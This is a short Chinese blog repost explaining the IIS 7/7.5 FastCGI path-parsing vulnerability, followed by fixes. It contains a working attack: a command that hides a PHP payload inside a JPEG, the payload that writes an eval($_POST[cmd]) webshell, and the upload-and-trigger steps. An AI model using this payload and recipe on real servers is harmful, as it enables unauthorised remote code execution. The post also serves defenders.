IIS7/7.5在Fast-CGI運行模式下,在一個文件路徑(/xx.jpg)后面加上/xx.php會將/xx.jpg/xx.php 解析為 php 文件。
常用利用方法:將一張圖和一個寫入后門代碼的文本文件合並將惡意文本寫入圖片的二進制代碼之后,避免破壞圖片文件頭和尾
e.g. copy xx.jpg/b + yy.txt/a xy.jpg
######################################
/b 即二進制[binary]模式
/a 即ascii模式 xx.jpg正常圖片文件
yy.txt 內容 <?PHPfputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
意思為寫入一個內容為 <?php eval($_POST[cmd])?> 名稱為shell.php的文件
######################################
找個地方上傳 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php 即可執行惡意文本。
然后就在圖片目錄下生成一句話木馬 shell.php 密碼 cmd
注意:
該解析漏洞利用需兩個條件:
1. php.ini里cgi.fix_pathinfo=1(默認為1)
2. 在”Handler Mapping”中取消勾選以下內容:
解決方案:
1. 配置cgi.pathinfo(php.ini中)為0並重啟php-cgi程序
2. 在”Handler Mapping”勾選php-cgi.exe程序的”Invoke handler only if request is mapped to”
3. 重新配置iis,使用ISAPI的方式(注意:PHP5.3.1已經不支持ISAPI方式)。
原文鏈接:https://blog.csdn.net/sap910131/article/details/37379177